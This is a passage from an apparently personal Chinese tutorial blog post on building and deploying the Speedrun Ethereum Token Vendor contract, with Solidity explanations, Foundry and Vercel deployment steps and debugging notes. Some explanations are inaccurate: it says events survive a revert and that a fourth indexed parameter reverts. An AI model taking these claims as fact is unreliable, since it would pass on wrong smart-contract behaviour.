攻击</span><br><span class="line"> uint256 amountToBuy = msg.value * tokensPerEth;</span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>变量</th><th>含义</th></tr></thead><tbody><tr><td><code>msg.value</code></td><td>这笔交易附带的 ETH（单位 wei）</td></tr><tr><td><code>msg.sender</code></td><td>调用者地址</td></tr></tbody></table><p><strong>为什么 wei × 100 直接等于 token 数？</strong> 因为<strong>两边都是 18 位小数</strong>，单位”刻度”一样。<code>0.1 ETH × 100 = 10 GLD</code>，数学完全自洽，不用换算。</p><hr><h3 id="4-Custom-Errors（自定义错误）"><a href="#4-Custom-Errors（自定义错误）" class="headerlink" title="4. Custom Errors（自定义错误）"></a>4. Custom Errors（自定义错误）</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">error InvalidEthAmount();</span><br><span class="line">error InsufficientVendorTokenBalance(uint256 vendorBalance, uint256 requestedAmount);</span><br><span class="line"></span><br><span class="line">if (msg.value == 0) revert InvalidEthAmount();</span><br></pre></td></tr></table></figure></div><p><strong>对比老式 require</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// ❌ 老式：把字符串存链上，贵</span><br><span class="line">require(msg.value > 0, "Must send ETH");</span><br><span class="line"></span><br><span class="line">// ✅ 新式：只存 4 字节 selector，省 gas 80%</span><br><span class="line">if (msg.value == 0) revert InvalidEthAmount();</span><br></pre></td></tr></table></figure></div><p><strong>带参数的错误能告诉前端”差多少、当前多少”</strong>——前端拿到错误能算差额、给提示。</p><p><strong>Selector 匹配</strong>：测试用 <code>IVendor.InvalidEthAmount.selector</code> 匹配——<strong>拼错一个字母就匹配不上</strong>！</p><hr><h3 id="5-indexed-事件参数"><a href="#5-indexed-事件参数" class="headerlink" title="5. indexed 事件参数"></a>5. <code>indexed</code> 事件参数</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">event BuyTokens(</span><br><span class="line"> address indexed buyer, // indexed → 进 topic，可被过滤</span><br><span class="line"> uint256 amountOfETH,</span><br><span class="line"> uint256 amountOfTokens</span><br><span class="line">);</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>参数</th><th>是否 indexed</th><th>原因</th></tr></thead><tbody><tr><td><code>buyer</code></td><td>✅</td><td>前端要查”某用户的所有买入”</td></tr><tr><td><code>amountOfETH</code></td><td>❌</td><td>只展示用，不需要按它过滤</td></tr><tr><td><code>amountOfTokens</code></td><td>❌</td><td>同上</td></tr></tbody></table><p><strong>为什么只 3 个 indexed？</strong> EVM topic 数组最多 3 个槽，超过会 revert。</p><hr><h3 id="6-ERC-20-转账方向"><a href="#6-ERC-20-转账方向" class="headerlink" title="6. ERC-20 转账方向"></a>6. ERC-20 转账方向</h3><table><thead><tr><th>场景</th><th>函数</th><th>调用方</th><th>资金方向</th></tr></thead><tbody><tr><td><strong>buyTokens</strong></td><td><code>yourToken.transfer(msg.sender, amount)</code></td><td>Vendor → User</td><td>Vendor 把自己的 GLD 发给买家</td></tr><tr><td><strong>sellTokens</strong></td><td><code>yourToken.transferFrom(msg.sender, address(this), amount)</code></td><td>Vendor 拉 User 的 GLD</td><td>买家授权后，Vendor 拉走</td></tr></tbody></table><p><strong>为什么 sell 要 transferFrom？</strong> 因为合约<strong>不能主动</strong>从用户钱包拿 token——必须用户先 <code>approve</code> 授权。</p><hr><h3 id="7-approve-transferFrom-模式-⭐⭐⭐"><a href="#7-approve-transferFrom-模式-⭐⭐⭐" class="headerlink" title="7. approve / transferFrom 模式 ⭐⭐⭐"></a>7. <code>approve</code> / <code>transferFrom</code> 模式 ⭐⭐⭐</h3><p><strong>DeFi 最核心的模式。</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// 第 1 步：用户在 YourToken 上授权 Vendor</span><br><span class="line">yourToken.approve(vendorAddress, amount);</span><br><span class="line">// = "我允许 Vendor 最多拿走 amount 个 GLD"</span><br><span class="line"></span><br><span class="line">// 第 2 步：用户调 sellTokens，Vendor 用 transferFrom 拉走</span><br><span class="line">yourToken.transferFrom(msg.sender, address(this), amount);</span><br><span class="line">// from=卖家 to=Vendor amount=数量</span><br></pre></td></tr></table></figure></div><p><strong>为什么非要两步？</strong> 如果合约能直接 <code>transfer</code> 拿用户 token，任何 dApp 都能偷光你钱包。<code>approve</code> 是<strong>用户主动的、精确控制的、可撤销的授权额度</strong>：</p><table><thead><tr><th>维度</th><th>直接 transfer（不允许）</th><th>approve + transferFrom（允许）</th></tr></thead><tbody><tr><td>谁主动？</td><td>合约</td><td><strong>用户</strong></td></tr><tr><td>拿多少？</td><td>合约想拿多少</td><td><strong>用户设定上限</strong></td></tr><tr><td>可撤销？</td><td>❌</td><td>✅（再次 approve(0)）</td></tr><tr><td>谁能查？</td><td>没人知道</td><td>✅ <code>allowance()</code> 公开可查</td></tr></tbody></table><p><strong>这就是为什么</strong>：Uniswap swap 前先 approve USDC、Aave deposit 前先 approve collateral——<strong>全部同一个模式</strong>。</p><hr><h3 id="8-整数除法的”取整陷阱”"><a href="#8-整数除法的”取整陷阱”" class="headerlink" title="8. 整数除法的”取整陷阱”"></a>8. 整数除法的”取整陷阱”</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">uint256 amountOfETH = amount / tokensPerEth; // 100</span><br><span class="line">// 卖 99 GLD：99 / 100 = 0 ← 不是 0.99！直接变 0</span><br><span class="line">// 卖 100 GLD：100 / 100 = 1 ← 1 ETH ✅</span><br><span class="line">// 卖 199 GLD：199 / 100 = 1 ← 不是 1.99！</span><br></pre></td></tr></table></figure></div><p><strong>Solidity 整数除法永远向下取整</strong>。卖 99 GLD 只能换 0 ETH，等于免费送！</p><p><strong>生产代码</strong>会用 OpenZeppelin 的 <code>Math.mulDiv</code> 或检查 <code>amount % tokensPerEth == 0</code> 拒绝不整除的情况。</p><hr><h3 id="9-call-value-发-ETH（现代标准）"><a href="#9-call-value-发-ETH（现代标准）" class="headerlink" title="9. call{value:...}("") 发 ETH（现代标准）"></a>9. <code>call{value:...}("")</code> 发 ETH（现代标准）</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(bool success, ) = msg.sender.call{value: amountOfETH}("");</span><br><span class="line">if (!success) revert EthTransferFailed(msg.sender, amountOfETH);</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>方式</th><th>转发 gas</th><th>备注</th></tr></thead><tbody><tr><td><code>transfer</code></td><td>固定 2300</td><td>❌ 合约钱包会挂（不够 gas）</td></tr><tr><td><code>send</code></td><td>固定 2300</td><td>❌ 同上</td></tr><tr><td><code>call{value:...}("")</code></td><td><strong>剩余全部</strong></td><td>✅ 2024+ 行业标准</td></tr></tbody></table><p><strong>为什么 2300 不够？</strong> EIP-1884 之后 2300 gas 在某些 opcodes 上连基础 SLOAD 都不够。<strong>Safe / Multisig 等合约钱包</strong>收 ETH 时需要更多 gas 跑 receive 逻辑。</p><hr><h3 id="10-Ownable-访问控制"><a href="#10-Ownable-访问控制" class="headerlink" title="10. Ownable 访问控制"></a>10. Ownable 访问控制</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">contract Vendor is Ownable {</span><br><span class="line"> constructor(...) Ownable(msg.sender) { ... } // deploy 时 owner = deployer</span><br><span class="line"> function withdraw() public onlyOwner { ... } // 只有 owner 能调</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>OpenZeppelin Ownable 提供</strong>：</p><table><thead><tr><th>成员</th><th>作用</th></tr></thead><tbody><tr><td><code>owner()</code></td><td>读当前 owner 地址</td></tr><tr><td><code>onlyOwner</code> 修饰符</td><td>限制函数只能 owner 调</td></tr><tr><td><code>transferOwnership(newOwner)</code></td><td>转交 owner 身份</td></tr></tbody></table><p><strong>我们项目的 owner 转移链</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Deploy 0x6d1c... → constructor: owner = 0x6d1c...</span><br><span class="line">Deploy script: vendor.transferOwnership(0x7FB2...)</span><br><span class="line">最终: owner = 0x7FB2...（你 MetaMask）</span><br></pre></td></tr></table></figure></div><hr><h3 id="11-Emit-顺序：先做完，最后发事件"><a href="#11-Emit-顺序：先做完，最后发事件" class="headerlink" title="11. Emit 顺序：先做完，最后发事件"></a>11. Emit 顺序：先做完，最后发事件</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">yourToken.transferFrom(...); // ① 状态变更</span><br><span class="line">(bool sent, ) = msg.sender.call{...}(""); // ② ETH 发送</span><br><span class="line">emit SellTokens(...); // ③ 最后 emit</span><br></pre></td></tr></table></figure></div><p><strong>为什么？Solidity emit 不会自动撤销</strong>——就算后面 revert，某些客户端短暂看到 emit。所以<strong>先做完所有可能失败的检查和状态变更，最后 emit</strong>——保证事件和数据一致。</p><hr><h2 id="🛠️-完整上线流程"><a href="#🛠️-完整上线流程" class="headerlink" title="🛠️ 完整上线流程"></a>🛠️ 完整上线流程</h2><h3 id="Checkpoint-0：环境"><a href="#Checkpoint-0：环境" class="headerlink" title="Checkpoint 0：环境"></a>Checkpoint 0：环境</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">node --version <span class="comment"># v25.2.1</span></span><br><span class="line">yarn --version <span class="comment"># 1.22.22</span></span><br><span class="line">forge --version <span class="comment"># 1.5.1-stable</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 挑战模板</span></span><br><span class="line">npx create-eth@2.0.20 -e challenge-token-vendor challenge-token-vendor -s foundry</span><br><span class="line"></span><br><span class="line"><span class="comment"># 三终端</span></span><br><span class="line">yarn chain <span class="comment"># 终端1：Anvil（本地链）</span></span><br><span class="line">yarn deploy <span class="comment"># 终端2：Foundry deploy（本地）</span></span><br><span class="line">yarn start <span class="comment"># 终端3：Next.js dev</span></span><br></pre></td></tr></table></figure></div><h3 id="AI-引导学习模式"><a href="#AI-引导学习模式" class="headerlink" title="AI 引导学习模式"></a>AI 引导学习模式</h3><p><code>/start</code> → 教学 → 理解题 → 编码 → <code>check</code> 跑测试</p><p>每个 checkpoint 流程：</p><ol><li>讲 context（概念）</li><li>问理解题（验理解）</li><li>给编程任务（spec）</li><li>用户写代码 → <code>check</code> 跑测试</li><li>通过 → 下一个</li></ol><h3 id="Foundry-测试命令"><a href="#Foundry-测试命令" class="headerlink" title="Foundry 测试命令"></a>Foundry 测试命令</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">yarn <span class="built_in">test</span> <span class="comment"># 全部 14 个</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint1'</span> <span class="comment"># 单个</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint2'</span> <span class="comment"># buyTokens</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint3'</span> <span class="comment"># withdraw</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint4'</span> <span class="comment"># sellTokens</span></span><br></pre></td></tr></table></figure></div><hr><h3 id="📸-本地端到端测试截图"><a href="#📸-本地端到端测试截图" class="headerlink" title="📸 本地端到端测试截图"></a>📸 本地端到端测试截图</h3><p><strong>1. 部署完，前端刷新前</strong>——只显示余额，看不到 Buy 按钮（因为前端区块还是注释）：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-01-balance-zero.png" alt="本地链初始状态：Your token balance 0.0000 GLD，Buy 按钮还没出现" ><figcaption>本地链初始状态：Your token balance 0.0000 GLD，Buy 按钮还没出现</figcaption></figure></p><blockquote><p>此时 <code>packages/nextjs/app/token-vendor/page.tsx</code> 里 Buy Tokens 区块还是 <code>/* ... */</code> 注释状态——合约部署成功了，但前端 UI 没解锁。</p></blockquote><p><strong>2. 解锁前端后，buy 110 GLD 成功</strong>——4 个区块全部显示，数字自洽（987.9 + 12.1 = 1000）：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-02-buy-success.png" alt="buy 成功，Your balance 110 GLD，Vendor token 890 GLD，Vendor ETH 1.1 ETH" ><figcaption>buy 成功，Your balance 110 GLD，Vendor token 890 GLD，Vendor ETH 1.1 ETH</figcaption></figure></p><p><strong>3. Debug Contracts + MetaMask</strong>——确认合约 owner 是前端钱包：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-03-owner-metamask.png" alt="owner() 返回 0x7FB2...77f7（用户 MetaMask），yourToken 指向 0x82Dc...AccC，Vendor 余额 0" ><figcaption>owner() 返回 0x7FB2...77f7（用户 MetaMask），yourToken 指向 0x82Dc...AccC，Vendor 余额 0</figcaption></figure></p><p><strong>4. MetaMask 网络配置</strong>——Chain ID 31337，RPC <code>127.0.0.1:8545</code>：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-04-localhost-network.png" alt="MetaMask 编辑网络：Localhost / 127.0.0.1:8545 / Chain ID 31337 / ETH" ><figcaption>MetaMask 编辑网络：Localhost / 127.0.0.1:8545 / Chain ID 31337 / ETH</figcaption></figure></p><p><strong>5. 完整端到端 4 区块</strong>——Your / Vendor Balances / Buy / Sell 都工作：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-05-end-to-end.png" alt="完整 UI：Your balance 987.9 GLD，Vendor token 12.1，Vendor ETH 9.879，Buy 输入 900，Transfer + Sell 区块可见" ><figcaption>完整 UI：Your balance 987.9 GLD，Vendor token 12.1，Vendor ETH 9.879，Buy 输入 900，Transfer + Sell 区块可见</figcaption></figure></p><hr><h3 id="上线-Sepolia"><a href="#上线-Sepolia" class="headerlink" title="上线 Sepolia"></a>上线 Sepolia</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 把 MetaMask 私钥导入 Foundry keystore</span></span><br><span class="line">cast wallet import --private-key 0x...你的私钥... kylinxin</span><br><span class="line"><span class="comment"># → Foundry 提示输入密码，输两遍（不是 MetaMask 密码）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 配置 .env（已有 ALCHEMY + ETHERSCAN API key）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. Sepolia faucet 拿 ETH（给 0x7FB2... 充至少 0.05 ETH）</span></span><br><span class="line"><span class="comment"># → https://sepoliafaucet.com/ 或 Google/Infura</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 部署</span></span><br><span class="line">yarn deploy --network sepolia</span><br><span class="line"><span class="comment"># → 选 kylinxin keystore（不要选 scaffold-eth-default）</span></span><br><span class="line"><span class="comment"># → 输入 keystore 密码</span></span><br><span class="line"><span class="comment"># → 等 ~30s - 2min，看到 4 笔 transactions success</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 验证合约（上传源码到 Etherscan）</span></span><br><span class="line">yarn verify --network sepolia</span><br><span class="line"><span class="comment"># → 不需要密码（不发交易）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 6. 改前端切到 Sepolia</span></span><br><span class="line"><span class="comment"># packages/nextjs/scaffold.config.ts:</span></span><br><span class="line">targetNetworks: [chains.sepolia],</span><br><span class="line"></span><br><span class="line"><span class="comment"># 7. 解锁前端 Sell Tokens 区块 + events/page.tsx SellTokens Events hook</span></span><br><span class="line"><span class="comment"># (见下文"踩坑 4")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 8. 部署前端</span></span><br><span class="line">yarn vercel --prod</span><br><span class="line"><span class="comment"># → 第一次会让你登录 Vercel + 创建项目</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 9. 提交到 speedrunethereum.com</span></span><br></pre></td></tr></table></figure></div><hr><h2 id="🐛-实战踩过的坑"><a href="#🐛-实战踩过的坑" class="headerlink" title="🐛 实战踩过的坑"></a>🐛 实战踩过的坑</h2><h3 id="1-❌-错误拼写-InvaildTokenAmount"><a href="#1-❌-错误拼写-InvaildTokenAmount" class="headerlink" title="1. ❌ 错误拼写 InvaildTokenAmount"></a>1. ❌ 错误拼写 <code>InvaildTokenAmount</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// ❌ 我的拼写错误</span><br><span class="line">error InvaildTokenAmount();</span><br><span class="line">revert InvaildTokenAmount();</span><br><span class="line"></span><br><span class="line">// ✅ spec 要求</span><br><span class="line">error InvalidTokenAmount();</span><br><span class="line">revert InvalidTokenAmount();</span><br></pre></td></tr></table></figure></div><p><strong>症状</strong>：测试报 <code>Error != expected error: InvaildTokenAmount() != InvalidTokenAmount()</code></p><p><strong>原因</strong>：Solidity error 名通过 <code>keccak256("InvalidTokenAmount()")[0..4]</code> 算出 4 字节 selector。<strong>拼错一个字母 → selector 不同 → 测试匹配不上</strong>。</p><p><strong>教训</strong>：<strong>永远对着 spec 抄错误名</strong>——多一个字母少一个字母都失败。声明处、调用处、测试里都得一致。</p><hr><h3 id="2-❌-Foundry-MetaMask-nonce-冲突"><a href="#2-❌-Foundry-MetaMask-nonce-冲突" class="headerlink" title="2. ❌ Foundry + MetaMask nonce 冲突"></a>2. ❌ Foundry + MetaMask nonce 冲突</h3><p><strong>症状</strong>：<code>yarn deploy --network sepolia</code> 报：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Error: Failed to send transaction after 4 attempts</span><br><span class="line">Err: replacement transaction underpriced</span><br></pre></td></tr></table></figure></div><p><strong>诊断</strong>：Sepolia Etherscan 查 deployer 历史，发现 nonce 132 是 MetaMask 发的 ETH 转账，<strong>不是</strong> Foundry 的 deploy。</p><p><strong>根因</strong>：Foundry 和 MetaMask 共享<strong>同一个账户的 nonce 计数器</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">时间线：</span><br><span class="line"> MetaMask： 准备发 nonce 132 的 ETH 转账</span><br><span class="line"> Foundry： 模拟成功，准备发 nonce 132 的 YourToken deploy</span><br><span class="line"> ↓</span><br><span class="line"> MetaMask 的 132 先广播 → Foundry 想用更高 gas 替换</span><br><span class="line"> Foundry 的 replacement gas 不够高 → 4 次重试都失败</span><br></pre></td></tr></table></figure></div><p><strong>解决</strong>：</p><ol><li>跑 Foundry 时<strong>关掉 MetaMask</strong>，或者别在 MetaMask 里点发送</li><li>让 Foundry 跑完 4 笔 deploy 交易（不要 Ctrl+C！）</li><li>等 MetaMask 那笔 nonce 132 上链确认后，Foundry 自动用 nonce 133+</li></ol><p><strong>长期建议</strong>：<strong>Foundry 部署批量脚本</strong> + <strong>MetaMask 手动单笔</strong>——两者不该共用同一个 nonce 计数器。</p><hr><h3 id="3-❌-部署脚本-broadcast-失败但-simulation-成功"><a href="#3-❌-部署脚本-broadcast-失败但-simulation-成功" class="headerlink" title="3. ❌ 部署脚本 broadcast 失败但 simulation 成功"></a>3. ❌ 部署脚本 broadcast 失败但 simulation 成功</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">== Logs ==</span><br><span class="line"> YourToken deployed at: 0x24ac2... <span class="comment"># 模拟算的地址</span></span><br><span class="line"> Vendor deployed at: 0x657F8...</span><br><span class="line"></span><br><span class="line"><span class="comment">##### sepolia</span></span><br><span class="line">✅ [Success] Hash: 0x5db7b7e8... <span class="comment"># 真发了</span></span><br><span class="line">Block: 11122928</span><br></pre></td></tr></table></figure></div><p><strong><code>run-latest.json</code> 里 <code>hash: null</code></strong> 表示 broadcast 没真发出去。检查方法：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查链上合约有没有 bytecode</span></span><br><span class="line">cast code 0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9 \</span><br><span class="line"> --rpc-url https://eth-sepolia.g.alchemy.com/v2/KEY | <span class="built_in">wc</span> -c</span><br><span class="line"><span class="comment"># 3 chars = "0x\n" → 没部署</span></span><br><span class="line"><span class="comment"># > 1000 chars → 部署成功</span></span><br></pre></td></tr></table></figure></div><hr><h3 id="4-❌-Vercel-build-失败：isSellEventsLoading-is-not-defined"><a href="#4-❌-Vercel-build-失败：isSellEventsLoading-is-not-defined" class="headerlink" title="4. ❌ Vercel build 失败：isSellEventsLoading is not defined"></a>4. ❌ Vercel build 失败：<code>isSellEventsLoading is not defined</code></h3><p><strong>症状</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Error occurred prerendering page "/events"</span><br><span class="line">ReferenceError: isSellEventsLoading is not defined</span><br></pre></td></tr></table></figure></div><p><strong>根因</strong>：<code>events/page.tsx</code> 处于<strong>半解锁状态</strong>——区块解锁了但 hook 没解锁：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// hook 还是注释</span></span><br><span class="line"><span class="comment">// const { data: sellTokenEvents, isLoading: isSellEventsLoading } = ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 区块已经解锁，引用了 hook 里的变量</span></span><br><span class="line">{isSellEventsLoading ? (...) : (...)}</span><br></pre></td></tr></table></figure></div><p><strong>修复</strong>：把 hook 的 <code>//</code> 注释去掉，<strong>hook 和区块必须同步解锁</strong>。</p><p><strong>为什么本地 dev 不报错？</strong> Next.js dev 模式宽松，build 模式才会预渲染所有页面 → 触发静态分析。</p><hr><h3 id="5-❌-前端-Buy-Tokens-按钮没出现"><a href="#5-❌-前端-Buy-Tokens-按钮没出现" class="headerlink" title="5. ❌ 前端 Buy Tokens 按钮没出现"></a>5. ❌ 前端 Buy Tokens 按钮没出现</h3><p><strong>症状</strong>：Token Vendor 页只显示 “Your token balance: 0.0000 GLD”，看不到 Vendor 余额、Buy 按钮。</p><p><strong>根因</strong>：<code>packages/nextjs/app/token-vendor/page.tsx</code> 里的几个区块初始状态是 <code>/* ... */</code> 注释，需要手动解锁：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Vendor Balances 区块</span></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: vendorTokenBalance } = <span class="title function_">useScaffoldReadContract</span>(...); <span class="comment">// 解开</span></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: vendorEthBalance } = <span class="title function_">useWatchBalance</span>(...); <span class="comment">// 解开</span></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: tokensPerEth } = <span class="title function_">useScaffoldReadContract</span>(...); <span class="comment">// 解开</span></span><br><span class="line"></span><br><span class="line">{<span class="comment">/* <div>Buy Tokens</div> */</span>} → <div><span class="title class_">Buy</span> <span class="title class_">Tokens</span><<span class="regexp">/div> /</span>/ 解开</span><br></pre></td></tr></table></figure></div><p><strong>教训</strong>：Scaffold-ETH 2 把 UI 分阶段解锁——合约写了但 UI 没解锁 → 用户看不到效果。</p><hr><h3 id="6-❌-Foundry-默认-keystore-vs-你的-keystore"><a href="#6-❌-Foundry-默认-keystore-vs-你的-keystore" class="headerlink" title="6. ❌ Foundry 默认 keystore vs 你的 keystore"></a>6. ❌ Foundry 默认 keystore vs 你的 keystore</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Foundry 默认 keystore（scaffold-eth-default）</span></span><br><span class="line">$ cast wallet address --account scaffold-eth-default --password localhost</span><br><span class="line">0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 <span class="comment"># Anvil 内置 9 号账户</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 我导入的 keystore（kylinxin）</span></span><br><span class="line">$ cast wallet address --account kylinxin --password <你的密码></span><br><span class="line">0x6d1cd1d9f7226de5af18a7f9fd64e3aa6e81ca04 <span class="comment"># 你的真实 MetaMask</span></span><br></pre></td></tr></table></figure></div><p><strong>关键区别</strong>：</p><ul><li>默认 keystore 是 Anvil 内置，<strong>Sepolia 上没 ETH</strong></li><li>kylinxin keystore 是你的真实钱包，Sepolia faucet 可以充钱</li></ul><p><strong>部署到测试网必须用你自己的 keystore</strong>，否则 gas 都付不起。</p><hr><h3 id="7-❌-Vercel-targetNetworks-chains-foundry"><a href="#7-❌-Vercel-targetNetworks-chains-foundry" class="headerlink" title="7. ❌ Vercel targetNetworks: [chains.foundry]"></a>7. ❌ Vercel <code>targetNetworks: [chains.foundry]</code></h3><p>部署完合约到 Sepolia，但前端还是连本地链！</p><p><strong>修复</strong>：</p><div class="code-container" data-rel="Ts"><figure class="iseeu highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/nextjs/scaffold.config.ts</span></span><br><span class="line"><span class="attr">targetNetworks</span>: [chains.<span class="property">foundry</span>], <span class="comment">// ❌</span></span><br><span class="line"><span class="attr">targetNetworks</span>: [chains.<span class="property">sepolia</span>], <span class="comment">// ✅</span></span><br></pre></td></tr></table></figure></div><hr><h2 id="💡-关键心得"><a href="#💡-关键心得" class="headerlink" title="💡 关键心得"></a>💡 关键心得</h2><ol><li><strong>ERC-20 approve 是 DeFi 的通用语</strong>——学完 Vendor 等于学完 Uniswap / Aave / Compound 的核心交互。</li><li><strong>整数除法永远向下取整</strong>——99 GLD / 100 = 0，不是 0.99。</li><li><strong>错误名是 Selector，不是 Label</strong>——拼错 = 测试全挂。</li><li><strong><code>call{value:...}</code> 现代标准</strong>——<code>transfer</code> 